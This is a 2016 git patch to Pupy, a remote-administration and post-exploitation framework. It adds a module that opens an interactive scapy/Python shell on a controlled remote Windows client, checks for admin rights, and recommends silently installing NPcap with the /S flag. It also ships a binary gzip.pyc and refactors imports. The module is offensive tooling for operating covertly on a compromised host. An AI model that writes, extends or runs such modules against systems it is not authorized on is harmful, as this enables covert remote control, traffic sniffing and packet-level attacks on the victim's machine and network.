From 0c97ab8b83af5bc427fd830633dd060cfc9461c7 Mon Sep 17 00:00:00 2001 From: n1nj4sec Date: Thu, 5 May 2016 16:04:18 +0200 Subject: [PATCH] scapy update&fix + adding scapy module to open a remote scapy shell --- pupy/modules/pyexec.py | 6 ++--- pupy/modules/scapy.py | 52 +++++++++++++++++++++++++++++++++++++ pupy/packages/all/gzip.pyc | Bin 0 -> 15135 bytes pupy/packages/all/scapy | 2 +- pupy/packages/src/scapy | 2 +- pupy/pupylib/__init__.py | 4 +++ 6 files changed, 60 insertions(+), 6 deletions(-) create mode 100644 pupy/modules/scapy.py create mode 100644 pupy/packages/all/gzip.pyc diff --git a/pupy/modules/pyexec.py b/pupy/modules/pyexec.py index 02ba8533..7d864cd1 100644 --- a/pupy/modules/pyexec.py +++ b/pupy/modules/pyexec.py @@ -1,11 +1,9 @@ # -*- coding: UTF8 -*- # Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu) # Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms -from pupylib.PupyModule import * -from pupylib.PupyCompleter import * -from pupylib.PupyErrors import * + +from pupylib import * import StringIO -from pupylib.utils.rpyc_utils import redirected_stdo __class_name__="PythonExec" diff --git a/pupy/modules/scapy.py b/pupy/modules/scapy.py new file mode 100644 index 00000000..27513c51 --- /dev/null +++ b/pupy/modules/scapy.py @@ -0,0 +1,52 @@ +# -*- coding: UTF8 -*- +# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu) +# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms + +import sys +import subprocess +import threading +import Queue +import time +import readline +from pupylib import * + +__class_name__="InteractiveScapyShell" + + +def enqueue_output(out, queue): + for c in iter(lambda: out.read(1), b""): + queue.put(c) + +@config(cat="admin") +class InteractiveScapyShell(PupyModule): + """ open an interactive python shell on the remote client """ + max_clients=1 + dependencies=['pyshell', 'gzip', 'scapy'] + def init_argparse(self): + self.arg_parser = PupyArgumentParser(prog='scapy', description=self.__doc__) + def run(self, args): + try: + if not self.client.conn.modules["os.path"].exists("C:\\WIndows\\system32\\Packet.dll"): + raise PupyModuleError("WinPcap is not installed !. You should download/upload NPcap (https://github.com/nmap/npcap/releases) and install it silently (with the /S flag) ") + if not self.client.conn.modules['ctypes'].windll.Shell32.IsUserAnAdmin(): + self.warning("you are running this module without beeing admin") + with redirected_stdo(self.client.conn): + old_completer=readline.get_completer() + try: + psc=self.client.conn.modules['pyshell.controller'].PyShellController() + readline.set_completer(psc.get_completer()) + readline.parse_and_bind('tab: complete') + psc.write("from scapy.all import *") + while True: + cmd=raw_input(">>> ") + psc.write(cmd) + finally: + readline.set_completer(old_completer) + readline.parse_and_bind('tab: complete') + except KeyboardInterrupt: + pass + + + + + diff --git a/pupy/packages/all/gzip.pyc b/pupy/packages/all/gzip.pyc new file mode 100644 index 0000000000000000000000000000000000000000..4e245ce0962dec693f587f0482bfaf27e3e09ed0 GIT binary patch literal 15135 zcmbuGUu+!5eaC0-j+FREqD1{6Wy{towqwST z9`DHAJyCS*7KjWqO#(D&fTAtXCI}j&4=sYe^f4#`6zEeP`Vyc4nuor$1^U!BNCO1! z=lh%8yQ8DTj4Nt~v$MaM`OR;B|7TeJuS4UH{^HoJrYru9@cSZ9_P-P@=awh~*Q&U7 z;FhTPdc`eO%6io;Rm*zKE!E2Uh+7&d>!WUIw5%U+O9xzwE;YBxI0sz|Fuu}Aeax+l zxHsrK=9b3Y(u7-@bW4W{n3alqgD!{N(v)kByLUnFh-*z)<)~{-x)zX!-Mhd{Yl?W( ztsiqM;5;RmyUu-X>9}hhu?{C(eA2a!x{ZoU|Hs8A^f~CT+=^SAn-&SaL2Ehg?sU_1H*73-d$|EMyPI2SoMp^%ZhV=>lnJ_Zp9MaB!f3SXPx6HoPyQMcJ$wW($4*@Jx! z_QsG}1`9CMSpfTfYH?1W1@_lGF=%kMj>s0HCGIy4DHnc*?a-TKj#jHDi_gU2E1Vr(NrmRUUAy`>ew1_1`+a%*4lSl@3fiuz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1k2-#4-gKs#C08N{hM^obLv++ zWEqM>W?g-$YkNn~F48=wxMDUIoF&W0^*w8=VP~hXw^Pa@OP_3VL$_X^o8cw;nu@9l zks`XGVqV1~6h^P4Yilla5%-hPOCx-|dQ<1Yw*>pDit8#~Q*m0wLn@@dd}0Umon=d3 z=&h{8{LR|68!vE)#7G|fiNL->F(8c9K8QM6&U0Q_epZyvlmQ;CJ%K{zhZ~CzSEegt SBV*O6u~YB4e;E7dWbl6-sL6x? literal 0 HcmV?d00001 diff --git a/pupy/packages/all/scapy b/pupy/packages/all/scapy index 43598670..7d39612f 120000 --- a/pupy/packages/all/scapy +++ b/pupy/packages/all/scapy @@ -1 +1 @@ -../src/scapy/scapy/ \ No newline at end of file +../src/scapy/scapy \ No newline at end of file diff --git a/pupy/packages/src/scapy b/pupy/packages/src/scapy index 7a546611..75d334fa 160000 --- a/pupy/packages/src/scapy +++ b/pupy/packages/src/scapy @@ -1 +1 @@ -Subproject commit 7a546611c39d4a37e34cafb27625ffa64ed89836 +Subproject commit 75d334fa7ec5b09af84fefe2093ceacd70a2ebe3 diff --git a/pupy/pupylib/__init__.py b/pupy/pupylib/__init__.py index e69de29b..97b86126 100644 --- a/pupy/pupylib/__init__.py +++ b/pupy/pupylib/__init__.py @@ -0,0 +1,4 @@ +from PupyErrors import * +from PupyModule import * +from PupyCompleter import * +from utils.rpyc_utils import *